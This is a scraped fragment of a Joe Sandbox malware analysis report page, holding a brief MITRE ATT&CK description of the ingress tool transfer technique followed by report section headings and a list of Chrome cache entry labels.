Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127